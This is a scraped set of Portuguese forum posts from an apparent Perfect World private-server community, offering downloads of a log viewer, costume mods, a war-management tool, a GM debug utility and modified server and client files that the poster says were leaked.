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  39. Olá, venho hoje compartilhar este sistema de logs para seu pw. O sistema grava log de: Login Criação de personagem Forjas Refinos Negociações Venda de Lojinhas Leilão Lances Correios Compras do gshop (normal e evento) Presentes Vendas de itens em NPC Bate Papo Itens presos Drop de moedas e itens Coleta de moedas/itens do chão – entre players Coleta de moedas/itens do chão – drop de monstros entre outros. Obs: Depedendo da versão do seu pw alguns logs podem não funciona, mas pode adpatar/configurar pra sua versão direto nos arquivos Não fiz o Logservice, apenas o sistema de visualização na web. Em breve, com a ajuda do @Master vou criar um mais aprimorado, para todas as versões e com algumas novidades. Download: logservice.zip
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  40. E ai povo lindo, segue algumas roupas.. depois eu add mais. intalação prática.. rs amongus.rar bob sponja.rar oliver.rar plankton.rar flash.rar patrick.rar sandy.rar
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  41. Olá, como prometido outro dia no chat, vim postar a versão 2 dessa aplicação. Além de melhorias no sistema de controle da Guerra Territorial, agora também há funções para gerir a Guerra das Nações. Funções adicionadas: Use com sabedoria e lembre sempre de testar antes de colocar em produção. A configuração se mantém a mesma da postagem principal. TwManager v2 + NwManager.rar
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  42. Para usar, basta carregar sua GS e clicar no nome russo! Créditos : Kn1fe Debug_para _GM_1.5.1-[suportegm.com].rar
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  43. Bom, como devem saber, esses arquivos ai já vazaram tem um bom tempo e até hoje eu vejo gente querendo tirar vantagem e cobrar por esses arquivos ou para alterar algo neles. Tudo que você vai precisar substituir dos arquivos da Server Side: GS e GLINKD. Tudo que você vai precisar substituir dos arquivos do Client Side: elementclient.exe e adicionar o arquivo 155.dll na pasta element. Detalhes importantes ! Para funcionamento dos atalhos no inventário é necessário que você puxe os ícones e chame as funções na sua interfaces.pck ou se preferir pode usar uma interfaces que já tenha isso, todas são a mesma coisa só tem alterações visuais em algumas. Para funcionamento da lojinha OFF, é necessário adicionar o botão também na interfaces.pck com a função e um item no inventário com o ID: 65532. Possui mais algumas funções também como: Ganhar chi ao meditar, reset de DG pelo botão, nick colorido entre outros ai, faz tempo que não uso esses arquivos então não me recordo bem de todas as funções que tem. No mais é isso, caso tenha alguma dúvida ou eu tenha esquecido de algo, me corrige ai ou me chama ai no pv ou no discord: ScroL#6530 FILES 155 COM ATALHOS E MAIS.rar
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